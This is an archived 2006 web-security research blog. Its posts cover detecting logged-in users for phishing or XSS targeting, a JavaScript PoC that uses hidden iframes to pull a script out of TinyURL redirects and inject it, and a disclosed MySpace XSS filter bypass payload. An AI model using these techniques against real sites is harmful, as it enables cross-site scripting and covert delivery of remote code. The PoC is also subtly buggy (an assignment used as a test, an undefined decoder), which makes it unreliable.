Saturday, December 30, 2006

Detecting Logged In Users

I just wanted to comment on the various ways of checking if people are logged in that I've seen, and propose a (rather unlikely) method of my own.

Uses for the knowledge


Personally I'm rather sceptical about profiling users and don't really see a point to it. The most dangerous application of this that I could come up with is if you check if a person is logged into a bunch of banks, and then send them off to the appropriate phishing page for their bank. And phishing is generally only reliable when the user clicks on a valid looking link in a valid looking email - or so we'd hope. So even the danger there seems limited. Sure, maybe you could provide ads to competing services or something, but unless you've got some great deal or something, you're probably not going to have any luck converting people.

Now sure we could use these methods to detect whether a user is logged in before running an XSS/CSRF attack, but unless the attack requires some level of user interaction (like having them move their mouse over something, even if you make the element take up the whole screen for a second), you have no need for it. Sure if the attack requires user interaction, then you need to be sure that the user is logged in because then there is a chance that you may raise suspicion, and if you've got more than one XSS/CSRF attack to conduct you can't have the user get suspicious, otherwise you might not finish running them all.

But I can't think of any other applications, and those two don't exactly seem like

Jeremiah's Firefox Javascript Error Hack


Jeremiah's idea is great, but like almost everything else, sadly not infallible. I was talking to birdie from sla.ckers.org today and he mentioned to me that he was having no luck getting Jeremiah's Firefox Javascript Error hack to work because all the pages had an identical doctype at the top of the page, on which the Javascript engine always errored out on and there were no pdfs or images or other resources which were only available to users. So it seems that there is really no need for some elaborate defence where you specify an error handler on your page to override our error handler, or anything similar - you just need to make the first couple of lines of each page identical, and what better thing to put there than a doctype tag so that you're actually conforming to some standards at the same time.

Timing Attacks


But it didn't stop there, he also sent me the following link on using timing attacks to detect whether users are logged in: http://wasjournal.blogspot.com/2006/12/use-of-time-delay-technique-for.html because he thought it was a better way.

Now while I'd seen it before, I hadn't really thought about it before, and just discounted it as something that might be used, but probably rather unreliable, so I went and did some test and here are my results when I ran his code:

Time when logged out:
5469, 2781, 2859, 1234, 2906, 1125, 1047, 2734, 5032, 2704

Time when logged in:
672, 2688, 6469, 719, 703, 1859, 688, 1718, 750, 1782

So while the average time when logged out is definitely higher, there is a great amount of overlap, and chance for error, and this is only on one network connection.

But It got me thinking, how else would I be able to tell that a user is logged in, and i came up with:

Semi-Open Redirects


I was thinking, in what cases can you find anything about what's in an iframe? Well, when its on the same domain as your script is, and what better way to get users onto your domain than to be redirected there from the site you are 'attacking'.

Now, just to explain what I mean by Semi-Open. Firstly what is an Open Redirect? An open redirect is one where you can send anyone anywhere, essentially one where you do no validation on who you send where. Now my definition of a Semi-Open redirect is one who will send certain people anywhere, more specifically logged in users anywhere. You can probably see where I'm going with this. The only other possible definition is sending everyone to only certain places, but thats completely useless to an attacker.

So if we find a Semi-Open redirect we can place it in an iframe, and if the user is logged in they will be redirected to our domain, and we will be able to get the iframe's location, otherwise we'll just error out.

Now, while I would have loved to have a example of an Semi-Open Redirect for everyone (I don't like posts without examples or PoC's), but I don't know where ro when I will actually find one, so I'll do the next best thing, I'll post a link to someone else's PoC, which has already been patched....Ok, so its not second best, or anywhere near second best, but its close enough for this article: http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049285.html



So in the end, while most of these ideas are rather cool (especially Jeremiah's), they don't seem to be always reliable or even useful to me.

Anyway, I hope everyone found this little burst of two posts interesting, because I'm awful at coming up with new ideas worth posting about regularly, but keep your eye peeled, I'm working on some interesting HTTP Response Splitting Payloads which I'll be posting once I get them working on Firefox and Opera 9 (something changed between Opera 8 and 9). If anyone who reads this is familiar with the Firefox source and would be willing to help me work out why things aren't working, please shoot me an email, I've been sitting on this idea for more than a month, and working PoCs for IE and opera 8 for at least 3 weeks....

Using TinyURL For Storage (includes PoC)

Note: To skip to the PoC click here.

I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/

Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:

Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.

What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=

But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.

So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.

And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.

But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.


Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:

<html>
<body>
<script>

function getURLEncodedScriptFromTiny (tiny, len) {

    var b64iframe = document.createElement('iframe');
    b64iframe.src = tiny;
    b64iframe.style.display = 'none';
    var callback = new Function ('getb64callback(this, ' + len + ');');
    b64iframe.onload = callback;
    document.body.appendChild(b64iframe);
}

function getb64callback (iframe, len) {

    var script = iframe.contentDocument.location + '';
    script = unescape(script.substring(len));

    document.body.removeChild (iframe);

    var b64script = document.createElement('script');
    b64script.type = 'text/javascript';
    b64script.text = script;
    document.body.appendChild(b64script);

}

function getDataFromTiny (tiny, len, order) {

    var data_iframe = document.createElement('iframe');
    data_iframe.src = tiny;
    data_iframe.style.display = 'none';
    var callback = new Function ('getDatacallback(this, ' + len + ', ' + order

+ ');');
    data_iframe.onload = callback;
    document.body.appendChild(data_iframe);
}

function getDatacallback (iframe, len, order) {

    var temp = iframe.contentDocument.location + '';
    data[order] = temp.substring(len);
    loaded++;
    document.body.removeChild (iframe);
}

getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);

var data = new Array(2);
var loaded = 0;

getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);
getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);

function CheckLoaded() {
    if (loaded = 2) {
        clearInterval (tiny_wait);
        var content = document.createElement('textarea');
        content.value = decode64(data.join(''));
        content.cols = 80;
        content.rows = 20;
        document.body.appendChild(content);
    }
}

var tiny_wait = setInterval('CheckLoaded()',2000);


</script>
</body>
</html>


Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.

Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p

Sunday, December 24, 2006

MySpace Non-Alpha-Non-Digit XSS 0day

It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.

Anyway, here's the exploit:

<body onLoadmoz-binding="alert('XSS');">

As you can see if you run that moz-binding is changed to .., and we are left with the following:

<body onLoad..="alert('XSS');">

So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.

Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.